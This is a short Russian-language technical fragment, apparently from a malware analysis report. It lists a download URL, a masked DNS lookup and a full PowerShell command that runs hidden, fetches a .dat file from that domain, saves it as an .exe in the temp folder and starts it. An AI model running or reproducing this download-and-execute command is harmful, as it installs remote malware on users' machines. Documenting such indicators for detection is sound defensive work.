Техническая информация
- https://aihahconsumerproductexposed.net/17/524.dat как $d
- DNS ASK ai#######umerproductexposed.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+'\a33d3ec6edd71df2f3adb0cbce9a4eb3.exe';(New-Object System.Net.WebClient).DownloadFile('https://aihahconsumerproductexposed.net/17/524.dat',$d);Start-Process $d...' (со скрытым окном)